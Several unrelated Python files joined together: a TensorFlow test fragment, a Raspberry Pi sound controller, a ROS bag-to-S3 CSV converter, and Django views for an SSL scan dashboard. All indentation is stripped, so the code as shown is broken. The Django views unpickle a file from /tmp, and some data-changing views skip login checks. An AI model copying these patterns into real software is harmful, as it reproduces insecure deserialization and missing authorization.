if accumulator_types[i] == 'multi_map':
results[i] = _indexedslice_sort(results[i])
self._assertEqual_indexedslices(results[0], results[i]);
def testAccumulatorMultiMapWithInvalidIndices(self):
with self.cached_session() as sess:
grad = ops.IndexedSlices(indices=[0, PreservedKey], values=[[1.0], [1.0]], dense_shape=[4, 1])
acc = data_flow_ops.SparseConditionalAccumulator(
dtypes_lib.float32, name="Q", shape=(),
reduction_type="MEAN",
accumulator_type="multi_map")
apply_op = acc.apply_indexed_slices_grad(grad, local_step=1)
with self.assertRaisesRegexp(
errors_impl.InvalidArgumentError,
"Input id is preserved key of dense_hash_map, "
"not supported: " + str(PreservedKey)):
sess.run(apply_op)
if __name__ == "__main__":
test.main()
|
controller.py | try:
import Tkinter as Tk
except ModuleNotFoundError:
import tkinter as Tk
import threading
import time
try:
import RPi.GPIO as GPIO
except:
pass
from pathlib import Path
from consts import *
from view import View
from model import Model
from is_raspberry_pi import is_raspberry_pi
from sound import Sound
class Controller:
def __init__(self):
user_dir = Path.home()
data_path = Path.joinpath(user_dir, '.' + FILE_NAME)
self.is_raspberry_pi = is_raspberry_pi()
self.model = Model(data_path)
self.sound = Sound(self.model)
self.root = Tk.Tk()
self.view = View(self.model, self)
def run(self):
gpio_polling_thread = threading.Thread(target=self.start_gpio_polling)
# set as deamon such that the thread is killed when the main thread is killed
gpio_polling_thread.setDaemon(True)
gpio_polling_thread.start()
self.root.title(NAME)
self.root.deiconify()
self.root.mainloop()
def play_sound(self, sound_number):
self.sound.play(sound_number)
def start_gpio_polling(self):
if self.is_raspberry_pi:
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
pressed = {}
# setup pins
for bcm_number in self.model.bcm_pin_numbers:
GPIO.setup(bcm_number, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
pressed[bcm_number] = False
# poll pins
while True:
for assigned_bcm_number in self.model.get_assigned_bcm_numbers():
if GPIO.input(assigned_bcm_number) == GPIO.HIGH:
pressed[assigned_bcm_number] = True
time.sleep(0.1)
self.sound.play(self.model.get_sound_number_for_bcm_number(assigned_bcm_number))
while GPIO.input(assigned_bcm_number) == GPIO.HIGH:
pass
time.sleep(0.01)
def quit(self):
self.root.quit()
|
general_bag_processor.py | import multiprocessing
import rosbag #pip install --extra-index-url https://rospypi.github.io/simple/ rospy rosbag
import boto3 #pip install boto3
from urllib.parse import unquote_plus
import s3fs
import csv
from multiprocessing import Pool, Process
from functools import partial
import datetime as dt
s3_client = boto3.client('s3')
fs = s3fs.S3FileSystem()
# User initialized parameters
SRC_BUCKET = 'raw-carma-core-validation-prod'
DST_BUCKET = 'preprocessed-carma-core-validation-prod'
FILE_IDS = ['down-selected', '20210623'] # this can be an list of indetifiers for the folder in which raw data is stored - like, "20210318" and "down-selected"
PARSE_SPECIFIC_VEHICLE = False #set to True tp process a sepcific vehicle's bagfiles and provide 'VEHICLE_ID' (not a list)
VEHICLE_ID = 'Ford'
PARSE_SPECIFIC_BAGFILE = True #set to True if a specific bagfiles need to be parsed and provide bagfile S3 path list in 'BAGFILE_ID' variable
BAGFILE_ID = [
'bagfiles/Core_Validation_Testing/Facility_Summit_Point/Vehicle_Black_Pacifica/20210623/_2021-06-23-14-02-22_down-selected.bag',
'bagfiles/Core_Validation_Testing/Facility_Summit_Point/Vehicle_Black_Pacifica/20210623/_2021-06-23-14-17-32_down-selected.bag'
]
PARSE_SPECIFIC_TOPICS = True #set to True if specific topics in the bagfile need to be processed and provide topic list in 'TOPICS_ID'
TOPICS_ID = [
'/hardware_interface/ds_fusion/brake_cmd',
'/hardware_interface/ds_fusion/brake_report',
'/hardware_interface/ds_fusion/imu/data_raw',
'/hardware_interface/ds_fusion/steering_cmd',
'/hardware_interface/ds_fusion/steering_report',
'/hardware_interface/ds_fusion/throttle_cmd',
'/hardware_interface/ds_fusion/throttle_report',
'/hardware_interface/pacmod/as_rx/accel_cmd',
'/hardware_interface/pacmod/as_rx/brake_cmd',
'/hardware_interface/pacmod/as_rx/steer_cmd',
'/hardware_interface/pacmod/parsed_tx/accel_rpt',
'/hardware_interface/pacmod/parsed_tx/brake_rpt',
'/hardware_interface/pacmod/parsed_tx/steer_rpt',
'/hardware_interface/pacmod/parsed_tx/vehicle_speed_rpt',
'/hardware_interface/pacmod/parsed_tx/yaw_rate_rpt',
'/hardware_interface/accelerator_pedal_cmd',
'/hardware_interface/accelerator_pedal_report',
'/hardware_interface/brake_2_report',
'/hardware_interface/brake_cmd',
'/hardware_interface/imu/data_raw',
'/hardware_interface/misc_report',
'/hardware_interface/steering_2_report',
'/hardware_interface/steering_cmd',
'/guidance/state',
'/hardware_interface/arbitrated_speed_commands',
'/hardware_interface/corrimudata',
'/hardware_interface/imu_raw',
'/hardware_interface/velocity_accel_cov',
'/localization/current_pose',
'/guidance/route_state',
'/environment/active_geofence',
'/guidance/state',
'/guidance/route',
'/message/incoming_geofence_control',
'/message/incoming_mobility_operation',
'/hardware_interface/vehicle_status',
'/guidance/plan_trajectory',
'/hardware_interface/steering_wheel'
]
def parse_topics(bag_obj, dst_dir, topic_name):
file_topic_name = topic_name.replace('/', '_')
file_topic_name = file_topic_name[1:] # remove the leading underscore character from name
filename = f'{dst_dir}/{file_topic_name}.csv'
df_out = []
first_iteration = True # allows header row
for _, msg, t in bag_obj.read_messages(topic_name):
msg_string = str(msg)
msg_list = msg_string.split('\n')
instantaneous_data_list = []
for name_value_pair in msg_list:
split_pair = name_value_pair.split(':')
for i in range(len(split_pair)): # should be 0 to 1
split_pair[i] = split_pair[i].strip()
instantaneous_data_list.append(split_pair)
# write the first row from the first element of each pair
if first_iteration: # header
headers = ["rosbagTimestamp"] # first column header
for pair in instantaneous_data_list:
headers.append(pair[0])
df_out.append(headers)
first_iteration = False
# write the value from each pair to the file
values = [str(t)] #first column will have rosbag timestamp
for pair in instantaneous_data_list:
if len(pair) > 1:
values.append(pair[1])
df_out.append(values)
with fs.open(f'{DST_BUCKET}/{filename}', 'w') as fw:
writer = csv.writer(fw)
writer.writerows(df_out)
def process_bags(src_file):
# create the destination directory name from source directory
src_file_splitter = src_file.split('/')
dst_dir = f'csvfiles/{"/".join(src_file_splitter[1:-1])}/{src_file_splitter[-1]}'
dst_dir = dst_dir.split(".bag")[0]
s3_client.put_object(Bucket=DST_BUCKET, Key=(dst_dir+'/'))
print('Process started...')
f = fs.open(f'{SRC_BUCKET}/{src_file}')
bag = rosbag.Bag(f, mode='r')
bag_types_topics = bag.get_type_and_topic_info()
list_of_topics = list(bag_types_topics[1].keys())
print(f'Total topics = {len(list_of_topics)}')
n_cpu = multiprocessing.cpu_count()
pool = Pool(processes=n_cpu)
func = partial(parse_topics, bag, dst_dir)
pool.map(func, list_of_topics)
pool.close()
pool.join()
f.close()
if __name__ == '__main__':
if PARSE_SPECIFIC_BAGFILE:
src_files_to_process = BAGFILE_ID
else:
paginator = s3_client.get_paginator('list_objects_v2')
pages = paginator.paginate(Bucket=SRC_BUCKET)
src_files_to_process = []
for page in pages:
files_on_page = [obj['Key'] for obj in page['Contents']]
src_files_to_process = src_files_to_process + files_on_page
if PARSE_SPECIFIC_VEHICLE:
src_files_to_process = [file for file in src_files_to_process if FILE_IDS[0] in file and FILE_IDS[1] in file and VEHICLE_ID in file]
else:
src_files_to_process = [file for file in src_files_to_process if FILE_IDS[0] in file and FILE_IDS[1] in file]
total_files = len(src_files_to_process)
print(f'Total bagfiles to process: {total_files}')
# TODO: Parallelize the processing of multiple bagfiles in same flow
# jobs = []
# for idx, src_file in enumerate(src_files_to_process):
# print(f'Processing file {idx+1} of {total_files}: {src_file.split("/")[-1]}')
# print(src_file)
# # p = Process(target=process_bags, args=(src_file))
# # jobs.append(p)
# # p.start()
# # p.join()
for src_file in src_files_to_process:
start_time = dt.datetime.now()
# create the destination directory name from source directory
src_file_splitter = src_file.split('/')
dst_dir = f'csvfiles/{"/".join(src_file_splitter[1:-1])}/{src_file_splitter[-1]}'
dst_dir = dst_dir.split(".bag")[0]
s3_client.put_object(Bucket=DST_BUCKET, Key=(dst_dir+'/'))
print('Process started...')
f = fs.open(f'{SRC_BUCKET}/{src_file}')
bag = rosbag.Bag(f, mode='r')
if PARSE_SPECIFIC_TOPICS:
list_of_topics = TOPICS_ID
else:
bag_types_topics = bag.get_type_and_topic_info()
list_of_topics = list(bag_types_topics[1].keys())
print(f'Total topics = {len(list_of_topics)}')
# Parallelize Topic processing within the same bagfile
n_processes = multiprocessing.cpu_count()
pool = Pool(processes=n_processes)
func = partial(parse_topics, bag, dst_dir)
pool.map(func, list_of_topics)
pool.close()
pool.join()
f.close()
print(f'Time to process {src_file}: {dt.datetime.now() - start_time}')
|
views.py | from django.template import loader, Context
from django.template import RequestContext
from django.core.paginator import Paginator
from django.core.mail import send_mail
from django.core.context_processors import csrf
from django.shortcuts import render_to_response
from django.shortcuts import get_object_or_404
from django.db import connection
from django.db.models import Q
from django.db.models import Max
from django.http import HttpResponse, HttpResponseRedirect
from django.http import Http404
from django.utils import timezone
from django.contrib import auth
from django.contrib.auth.decorators import login_required
from django.conf import settings
from .models import Contact, Product, Endpoint, TestResult, Defect, Setting
from errno import ECONNREFUSED
import logging
import requests
import simplejson
import threading
import multiprocessing
from subprocess import Popen, PIPE, STDOUT
import datetime
import OpenSSL
import socket
import random
import pickle
import pytz
import time
import sys
import ast
import os
import parse_ssllabs
logger = logging.getLogger(__name__)
lines_per_page = 15
def list_test_results(request, page2return2='0'):
errors = []
page_data = {}
page_direction = 'Next'
current_page = '0'
endpoint_tr_tuples = []
current_sort_order = 'url'
check_good_number(page2return2)
if page2return2 != '0':
current_page = str(int(page2return2) - 1)
if request.method == 'POST':
if not request.POST.get('page_to_display', ''):
current_page = '0'
else:
check_good_number(request.POST['page_to_display'])
current_page = request.POST['page_to_display']
if not request.POST.get('page_direction', ''):
page_direction = 'Next'
else:
check_valid_size(request.POST['page_direction'])
page_direction = request.POST['page_direction']
if not request.POST.get('current_sort_order', ''):
current_sort_order = 'url'
else:
check_valid_size(request.POST['current_sort_order'])
current_sort_order = request.POST['current_sort_order']
if request.POST.get('url', ''): # url sort button pressed
current_sort_order = 'url'
page_direction = 'Next'
current_page = '0'
endpoints_all = Endpoint.objects.all().order_by('url')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
elif request.POST.get('product', ''): # product sort button pressed
current_sort_order = 'product'
page_direction = 'Next'
current_page = '0'
endpoints_all = Endpoint.objects.all().order_by('product__name')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
elif request.POST.get('last_scan_date', ''): # last_scan_date sort
current_sort_order = 'last_scan_date'
page_direction = 'Next'
current_page = '0'
endpoints_all = Endpoint.objects.all().order_by('product__name')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
endpoint_tr_tuples = sort_by_time(endpoint_tr_tuples)
elif request.POST.get('score', ''): # score sort button pressed
current_sort_order = 'score'
page_direction = 'Next'
current_page = '0'
endpoints_all = Endpoint.objects.all().order_by('product__name')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
endpoint_tr_tuples = sort_by_score(endpoint_tr_tuples)
else: # Next or Prev button cases
endpoint_tr_tuples = create_tuple_set_for_sort_order(
current_sort_order)
else: # method GET
endpoints_all = Endpoint.objects.all().order_by('url')
#endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
# if coming from a Return from the details page
if 'current_sort_order' in request.COOKIES:
current_sort_order = request.COOKIES['current_sort_order']
endpoint_tr_tuples = create_tuple_set_for_sort_order(
current_sort_order)
endpoint_tr_tuple_page = paginate_list(endpoint_tr_tuples,
page_data,
current_page,
page_direction)
page_data['errors'] = errors
page_data['endpoint_tr_tuples'] = endpoint_tr_tuple_page
page_data['current_sort_order'] = current_sort_order
response = render_to_response('test_results.html',
page_data, RequestContext(request))
response.set_cookie('current_sort_order', current_sort_order)
return response
def create_tuple_set_for_sort_order(current_sort_order):
if current_sort_order == 'url':
endpoints_all = Endpoint.objects.all().order_by('url')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
elif current_sort_order == 'product':
endpoints_all = Endpoint.objects.all().order_by('product__name')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
elif current_sort_order == 'last_scan_date':
endpoints_all = Endpoint.objects.all().order_by('product__name')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
endpoint_tr_tuples = sort_by_time(endpoint_tr_tuples)
elif current_sort_order == 'score':
endpoints_all = Endpoint.objects.all().order_by('product__name')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
endpoint_tr_tuples = sort_by_score(endpoint_tr_tuples)
else:
endpoints_all = Endpoint.objects.all().order_by('url')
endpoint_tr_tuples = create_endpoint_last_tr_tuples(endpoints_all)
return endpoint_tr_tuples
# endpoint_tr_tuples is a list of tuples
# each tuple is composed of an endpoint, its last test result
# and the next to last test result.
def create_endpoint_last_tr_tuples(endpoints_all):
timezone.activate(pytz.timezone('America/Chicago'))
endpoint_tr_tuples = []
for endpoint in endpoints_all:
tr_lst = endpoint.test_results.all().order_by('-time') # don't change
if len(tr_lst) > 1:
endpoint_tr_tuples.append((endpoint, tr_lst[0], tr_lst[1]))
#logger.info('=== endpoint=' + str(endpoint.url))
#logger.info('-------------')
elif len(tr_lst) > 0:
endpoint_tr_tuples.append((endpoint, tr_lst[0], None))
else:
endpoint_tr_tuples.append((endpoint, None, None))
return endpoint_tr_tuples
# endpoint_tr_tuples is a list of tuples
# each tuple is composed of an endpoint, its last test result
# and the next to last test result. This function sort by the test result time
def sort_by_time(endpoint_tr_tuples):
utc = pytz.utc
epoch_time = datetime.datetime(1970, 1, 1, 0, 0, 0, 0, tzinfo=utc)
endpoint_tr_tuples.sort(key=lambda tup:
(epoch_time if tup[1] is None else tup[1].time))
endpoint_tr_tuples.reverse()
return endpoint_tr_tuples
# endpoint_tr_tuples is a list of tuples
# each tuple is composed of an endpoint, its last test result
# and the next to last test result. This function sort by the test result score
def sort_by_score(endpoint_tr_tuples):
sorted_by_second = sorted(endpoint_tr_tuples, key=lambda tup:
('' if tup[1] is None else tup[1].score))
sorted_by_second.reverse()
return sorted_by_second
def paginate_list(list_to_paginate, page_data, current_page, page_direction):
p = Paginator(list_to_paginate, lines_per_page)
page_2_display = p.page(1)
page_data['first_page'] = None
page_data['last_page'] = None
if current_page == '0': # first time displaying search result
if p.page(1).count > 0: # there are rows to display
page_2_display = p.page(1)
page_data['page_to_display'] = 1
else:
if page_direction == 'Next':
if p.page(int(current_page)).has_next():
next_page_number = p.page(
int(current_page)).next_page_number()
page_2_display = p.page(next_page_number)
page_data['page_to_display'] = next_page_number
else:
if p.page(int(current_page)).has_previous():
prev_page_number = p.page(
int(current_page)).previous_page_number()
page_2_display = p.page(prev_page_number)
page_data['page_to_display'] = prev_page_number
if p.num_pages == 1: # only a single page of rows so do not display arrows
page_data['first_page'] = page_data['last_page'] = True
else:
if not page_2_display.has_previous():
page_data['first_page'] = True
else:
page_data['first_page'] = False
if not page_2_display.has_next():
page_data['last_page'] = True
else:
page_data['last_page'] = False
list_page = page_2_display.object_list
return list_page
def product_results(request, product_id):
check_good_number(product_id)
page_data = {}
last_endpoint_result = Endpoint.objects.annotate(Max('testresult__id')) \
.filter(product_id=product_id, testresult__id__max__isnull=False) \
.values('testresult__id__max')
endpoint_results = Endpoint.objects.filter(testresult__id__in=last_endpoint_result) \
.values('url', 'id', 'testresult__id', 'testresult__score', 'testresult__time')
page_data['endpoint_results'] = endpoint_results
return render_to_response('product_results.html', page_data, RequestContext(request))
def tab(request):
page_data = {}
return render_to_response('scrollable_table.html',
page_data, RequestContext(request))
def test_result_details(request, result_id, page2return2):
check_good_number(result_id)
check_good_number(page2return2)
errors = []
page_data = {}
result = TestResult.objects.get(id=result_id)
defects = result.defects.all()
the_endpoint = result.the_endpoint
hist_results = list(TestResult.objects.filter(the_endpoint=the_endpoint).order_by('-time'))
del hist_results[0]
product = the_endpoint.product
contact = product.contacts.all()[0]
page_data['errors'] = errors
page_data['result'] = result
page_data['hist_results'] = hist_results
page_data['contact'] = contact
page_data['product'] = product
page_data['defects'] = defects
page_data['page2return2'] = page2return2
return render_to_response('test_details.html',
page_data, RequestContext(request))
# invoked by AJAX to send email from test details form
def send_email_to_contact(request):
result_id = request.POST['result_id']
check_good_number(result_id)
result = TestResult.objects.get(id=result_id)
defects = result.defects.all()
the_endpoint = result.the_endpoint
product = the_endpoint.product
contacts = product.contacts.all()
addresses = []
for contact in contacts:
addresses.append(contact.email)
add_default_product_addresses(addresses)
default_product = Product.objects.get(id=1)
subject = default_product.name + ": Test results for " \
+ product.name \
+ "(" + the_endpoint.url + ") - " \
+ str(result.time)
t = loader.get_template('report_for_product_email.html')
c = Context({'defects': defects,
'product': product.name,
'url': the_endpoint.url, 'time': result.time})
message = t.render(c)
from_address = Setting.objects.all()[0].default_email
send_mail_python(subject, message, from_address, addresses)
return HttpResponse(
simplejson.dumps({'result_id': result_id}),
content_type="application/json")
def add_default_product_addresses(addresses):
default_product = Product.objects.get(id=1)
contacts = default_product.contacts.all()
for contact in contacts:
if contact.email not in addresses:
addresses.append(contact.email)
def summary_report(request):
page_data = {}
score_count = get_score_count()
page_data['score_count'] = score_count
return render_to_response(
'summary_report.html', page_data, RequestContext(request))
def product_overview(request):
page_data = {}
product_scores = get_product_scores()
page_data['product_scores'] = product_scores
return render_to_response(
'product_overview.html', page_data, RequestContext(request))
def get_product_scores():
last_endpoint_test = Endpoint.objects.annotate(Max('testresult__id')) \
.filter(testresult__id__max__isnull=False) \
.values('testresult__id__max')
'''
# Returns data per endpoint.
TestResult.objects.filter(id__in=last_endpoint_test) \
.values('score','time','endpoint__url','endpoint__product__name')
'''
# Returns data per product
product_scores = TestResult.objects.filter(id__in=last_endpoint_test) \
.values('endpoint__product__name', 'endpoint__product__id') \
.annotate(Max('score'))
return product_scores
def cert_report(request):
page_data = {}
with open('/tmp/about_to_expire_endpoints.pickle', 'rb') as handle:
about_to_expire_endpoints = pickle.load(handle)
page_data['about_to_expire_endpoints'] = about_to_expire_endpoints
return render_to_response(
'cert_report.html', page_data, RequestContext(request))
def get_score_count():
test_results = TestResult.objects.all().order_by('the_endpoint', '-time')
latest_test_result = []
prev_result_endpoint = ''
for result in test_results:
if result.the_endpoint == prev_result_endpoint:
continue
else:
latest_test_result.append(result)
prev_result_endpoint = result.the_endpoint
score_count = {'A': 0, 'Aplus': 0, 'Aminus': 0, 'B': 0, 'C': 0, 'D': 0,
'E': 0, 'M': 0, 'N': 0, 'T': 0, 'F': 0}
for tr in latest_test_result:
if tr.score == 'A':
score_count['A'] += 1
elif tr.score == 'A+':
score_count['Aplus'] += 1
elif tr.score == 'A-':
score_count['Aminus'] += 1
elif tr.score == 'B':
score_count['B'] += 1
elif tr.score == 'C':
score_count['C'] += 1
elif tr.score == 'D':
score_count['D'] += 1
elif tr.score == 'E':
score_count['E'] += 1
elif tr.score == 'M':
score_count['M'] += 1
elif tr.score == 'N':
score_count['N'] += 1
elif tr.score == 'T':
score_count['T'] += 1
elif tr.score == 'F':
score_count['F'] += 1
else:
logger.info('unknown score found: ' + tr.score)
return score_count
# this processes the delete request from the change test results details page
@login_required(login_url='/login/')
def delete_test_result_details(request):
result_id = request.GET.get('result_id', None)
check_good_number(result_id)
result = TestResult.objects.get(id=result_id)
result.delete()
return HttpResponseRedirect("/dashboard")
# this view handles an AJAX request to populate the Change URL screen
def get_change_url_details(request):
endpoint_id = request.POST.get('endpoint_id', None)
check_good_number(endpoint_id)
endpoint = Endpoint.objects.get(id=endpoint_id)
product = endpoint.product
return HttpResponse(
simplejson.dumps({'product_name': product.name,
'endpoint_id': endpoint_id}),
content_type="application/json")
# change URL
@login_required(login_url='/login/')
def change_url_details(request):
errors = []
page_data = {}
endpoints = Endpoint.objects.all()
page_data['errors'] = errors
page_data['endpoints'] = endpoints
return render_to_response(
'change_details.html', page_data, RequestContext(request))
# this processes the AJAX delete request from the change URL details page
@login_required(login_url='/login/')
def delete_url_details(request):
endpoint_id = request.GET.get('endpoint_id', None)
check_good_number(endpoint_id)
endpoint = Endpoint.objects.get(id=endpoint_id)
endpoint.delete()
return HttpResponse(
simplejson.dumps({'message': 'success'}),
content_type="application/json")
@login_required(login_url='/login/')
def add_contact(request):
errors = []
page_data = {'errors': errors}
if request.method == 'POST':
if not request.POST.get('firstname', ''):
errors.append('First name is required')
else:
check_valid_size(request.POST['firstname'])
page_data['firstname'] = request.POST['firstname']
if not request.POST.get('lastname', ''):
errors.append('Last name is required')
else:
check_valid_size(request.POST['lastname'])
page_data['lastname'] = request.POST['lastname']
if not request.POST.get('email', ''):
errors.append('Email is required')
else:
if is_valid_email(request.POST['email']):
# check if already exists
contact = Contact.objects.filter(email=request.POST['email'].strip())
if contact:
errors.append('Email already exists')
else:
errors.append('Invalid email')
page_data['email'] = request.POST['email']
if not errors:
contact = Contact(
first_name=request.POST['firstname'],
last_name=request.POST['lastname'],
email=request.POST['email'])
contact.save()
errors.append('Contact was saved')
page_data['firstname'] = ''
page_data['lastname'] = ''
page_data['email'] = ''
return render_to_response(
'add_contact.html', page_data, RequestContext(request))
@login_required(login_url='/login/')
def change_contact(request):
errors = []
page_data = {}
contacts = list(Contact.objects.all().order_by('email'))
page_data['errors'] = errors
page_data['contacts'] = contacts
return render_to_response(
'change_contact.html', page_data, RequestContext(request))
# this view handles the AJAX request to update the data
# when the user changes the fields
def update_contact(request):
errors = []
page_data = {}
if request.method == 'POST':
if not request.POST.get('contact_id', ''):
raise Http404
else:
check_good_number(request.POST['contact_id'])
if not request.POST.get('firstname', ''):
errors.append('First name is required')
else:
check_valid_size(request.POST['firstname'])
page_data['firstname'] = request.POST['firstname']
if not request.POST.get('lastname', ''):
errors.append('Last name is required')
else:
check_valid_size(request.POST['lastname'])
page_data['lastname'] = request.POST['lastname']
if not errors:
contact_id = request.POST.get('contact_id', None)
contact = Contact.objects.get(id=contact_id)
contact.first_name = request.POST.get('firstname', None)
contact.last_name = request.POST.get('lastname', None)
contact.save()
return HttpResponse(
simplejson.dumps(
{}), content_type="application/json")
# this view handles an AJAX request to populate the Change URL screen
def get_change_contact(request):
check_good_number(request.GET['contact_id'])
contact_id = request.GET.get('contact_id', None)
contact = Contact.objects.get(id=contact_id)
return HttpResponse(
simplejson.dumps({'firstname': contact.first_name,
'lastname': contact.last_name}),
content_type="application/json")
# this processes the delete contact from the change contact page
@login_required(login_url='/login/')
def delete_contact(request):
check_good_number(request.GET['contact_id'])
contact_id = request.GET.get('contact_id', None)
contact = Contact.objects.get(id=contact_id)
contact.delete()
return HttpResponseRedirect("/changeContact")
@login_required(login_url='/login/')
def add_product(request):
errors = []
contacts = Contact.objects.all()
page_data = {'errors': errors, 'contacts': contacts}
if request.method == 'POST':
if not request.POST.get('name', ''):
errors.append('Product name is required')
else:
check_valid_size(request.POST['name'])
# check if already in db
product = Product.objects.filter(name=request.POST['name'].strip())
if product:
errors.append('Product already exists')
page_data['name'] = request.POST['name']
if not errors:
product = Product(name=request.POST['name'])
product.save()
selected_contact = get_object_or_404(
Contact, pk=request.POST.get('contacts'))
product.contacts.add(selected_contact)
errors.append('Product was saved')
return render_to_response('add_product.html',
page_data, RequestContext(request))
@login_required(login_url='/login/')
def change_product(request):
errors = []
page_data = {}
products = list(Product.objects.all().order_by('name'))
contacts = list(Contact.objects.all().order_by('email'))
page_data['errors'] = errors
page_data['contacts'] = contacts
page_data['products'] = products
return render_to_response('change_product.html',
page_data, RequestContext(request))
# this view handles the AJAX request to update the data
# when the user changes the fields
def update_product(request):
errors = []
page_data = {}
if request.is_ajax():
if request.method == 'POST':
body = request.body
product_id = request.POST.get('product_id', '')
check_good_number(product_id)
contact_id = request.POST.get('contact_id', '')
check_good_number(product_id)
product = Product.objects.get(id=product_id)
if not product:
errors.append('Invalid product id supplied')
contact = Contact.objects.get(id=contact_id)
if not contact:
errors.append('Invalid contact id supplied')
if not errors:
product.contacts.add(contact)
product.save()
errors.append('Product was saved')
else: # GET request received
raise Http404
else: # not ajax
raise Http404
page_data['errors'] = errors
return HttpResponse(
simplejson.dumps(
{}), content_type="application/json")
@login_required(login_url='/login/')
def add_url(request):
errors = []
products = Product.objects.all()
page_data = {'errors': errors, 'products': products}
if request.method == 'POST':
if not request.POST.get('url', ''):
errors.append('URL is required')
else:
if is_valid_url(request.POST['url']):
url = request.POST['url'].strip()
if not url.startswith('https'):
url = url.replace('http', 'https')
idx = url.find("/", 8)
if idx != -1:
cleanUrl = url[0: idx]
else:
cleanUrl = url
page_data['url'] = cleanUrl
# if duplicate, ignore
objs = Endpoint.objects.filter(url=cleanUrl)
if len(objs) > 0:
errors.append('Duplicate url')
else:
errors.append('Invalid url')
if not errors:
endpoint = Endpoint(url=cleanUrl)
selected_product = get_object_or_404(
Product, pk=request.POST.get('products'))
endpoint.product = selected_product
endpoint.save()
errors.append('URL was saved')
return render_to_response('add_url.html',
page_data, RequestContext(request))
@login_required(login_url='/login/')
def search_contact(request):
errors = []
contacts = []
page_data = {}
if request.method == 'POST':
if not request.POST.get('search_string', ''):
errors.append('Search string is required')
else:
check_valid_size(request.POST['search_string'])
page_data['search_string'] = request.POST['search_string']
if not errors:
if request.POST['search_string'].strip() == r'*':
contacts = list(Contact.objects.all().order_by('email'))
else:
contacts = list(
Contact.objects.filter(
Q(email__icontains=page_data['search_string']) |
Q(first_name__icontains=page_data['search_string']) |
Q(last_name__icontains=page_data[
'search_string'])).order_by('email'))
page_data['errors'] = errors
page_data['contacts'] = contacts
return render_to_response('search_contact.html',
page_data, RequestContext(request))
@login_required(login_url='/login/')
def search_product(request):
errors = []
products = []
page_data = {}
if request.method == 'POST':
if not request.POST.get('search_string', ''):
errors.append('Search string is required')
else:
check_valid_size(request.POST['search_string'])
page_data['search_string'] = request.POST['search_string']
if not errors:
if request.POST['search_string'].strip() == r'*':
products = list(Product.objects.all().order_by('name'))
else:
products = list(
Product.objects.filter(name__icontains=page_data[
'search_string']).order_by('name'))
page_data['errors'] = errors
page_data['products'] = products
return render_to_response('search_product.html',
page_data, RequestContext(request))
def search_url(request):
errors = []
endpoints = []
page_data = {}
page_direction = 'Next'
page_data['first_page'] = True
page_data['last_page'] = True
if request.method == 'POST':
if not request.POST.get('search_string', ''):
errors.append('Search string is required')
else:
check_valid_size(request.POST['search_string'])
page_data['search_string'] = request.POST['search_string']
if not request.POST.get('page_to_display', ''):
current_page = '0'
else:
check_good_number(request.POST['page_to_display'])
current_page = request.POST['page_to_display']
if not request.POST.get('page_direction', ''):
page_direction = 'Next'
else:
check_valid_size(request.POST['page_direction'])
page_direction = request.POST['page_direction']
if not errors:
if request.POST['search_string'].strip() == r'*':
endpoints = list(Endpoint.objects.all().order_by('url'))
else:
endpoints = list(
Endpoint.objects.filter(url__icontains=page_data[
'search_string']).order_by('url'))
endpoints = paginate_list(endpoints, page_data,
current_page, page_direction)
page_data['errors'] = errors
page_data['endpoints'] = endpoints
return render_to_response('search_url.html',
page_data, RequestContext(request))
@login_required(login_url='/login/')
def configure(request):
errors = []
page_data = {}
config = Setting.objects.all()[0]
contacts = Contact.objects.all()
if request.method == 'POST':
if not request.POST.get('default_email', ''):
errors.append('Email is required')
else:
if is_valid_email(request.POST['default_email']):
config.default_email = request.POST['default_email']
else:
errors.append('Invalid email')
check_valid_size(request.POST['scan_enabled'])
if request.POST['scan_enabled'] == 'True':
config.scan_enabled = 1
else:
config.scan_enabled = 0
check_valid_size(request.POST['scan_frequency'])
if request.POST['scan_frequency'] == 'Daily':
config.default_scan_frequency = 1
elif request.POST['scan_frequency'] == 'Every_2_days':
config.default_scan_frequency = 2
elif request.POST['scan_frequency'] == 'Weekly':
config.default_scan_frequency = 3
elif request.POST['scan_frequency'] == 'Monthly':
config.default_scan_frequency = 4
elif request.POST['scan_frequency'] == 'Quarterly':
config.default_scan_frequency = 5
elif request.POST['scan_frequency'] == 'Yearly':
config.default_scan_frequency = 6
else:
config.default_scan_frequency = 1
check_valid_size(request.POST['scan_score_threshold'])
config.scan_score_threshold = request.POST['scan_score_threshold']
check_valid_size(request.POST['auto_purge'])
config.auto_purge = request.POST['auto_purge']
check_valid_size(request.POST['test_retention_period'])
if request.POST['test_retention_period'] == '1_Month':
config.test_retention_period = 1
elif request.POST['test_retention_period'] == '1_Quarter':
config.test_retention_period = 2
elif request.POST['test_retention_period'] == '1_Year':
config.test_retention_period = 3
elif request.POST['test_retention_period'] == 'Forever':
config.test_retention_period = 4
else:
config.test_retention_period = 4
config.save()
page_data['errors'] = errors
page_data['config'] = config
page_data['contacts'] = contacts
return render_to_response('settings.html',
page_data, RequestContext(request))
def purge_old_tests():
today = datetime.datetime.now()
three_months = datetime.timedelta(days=90)
three_months_ago = today - three_months
logger.info('=== purging...')
logger.info('date half year ago=' + str(three_months_ago))
TestResult.objects.filter(time__lte=three_months_ago).delete()
# this function exists to prevent multiple workers from
# starting multiple scans
def is_already_scanned(semaphore_type, interval_in_secs):
time.sleep(random.randint(1, 30))
# if file exists
if os.path.isfile(semaphore_type):
check = os.stat(semaphore_type)
now = time.time()
check_time = check.st_ctime
logger.info(' now = ' + str(now) + ' check time=' + str(check_time))
if now - check_time < interval_in_secs:
logger.info(
'File changed recently so scanning was already done. Returning')
return True
logger.info('File was changed a long time ago so OK to start scanning again')
semaphore = open(semaphore_type, 'w')
semaphore.close()
return False
def start_periodic_scans():
logger.info('starting periodic scans')
start_time = None
while True:
config = Setting.objects.all()[0]
if config.scan_enabled:
endpoints = Endpoint.objects.all()
start_time = datetime.datetime.now()
for endpoint in endpoints:
logger.info('starting scan of ' + str(endpoint))
p = threading.Thread(
target=scanner_worker, args=(endpoint.id,))
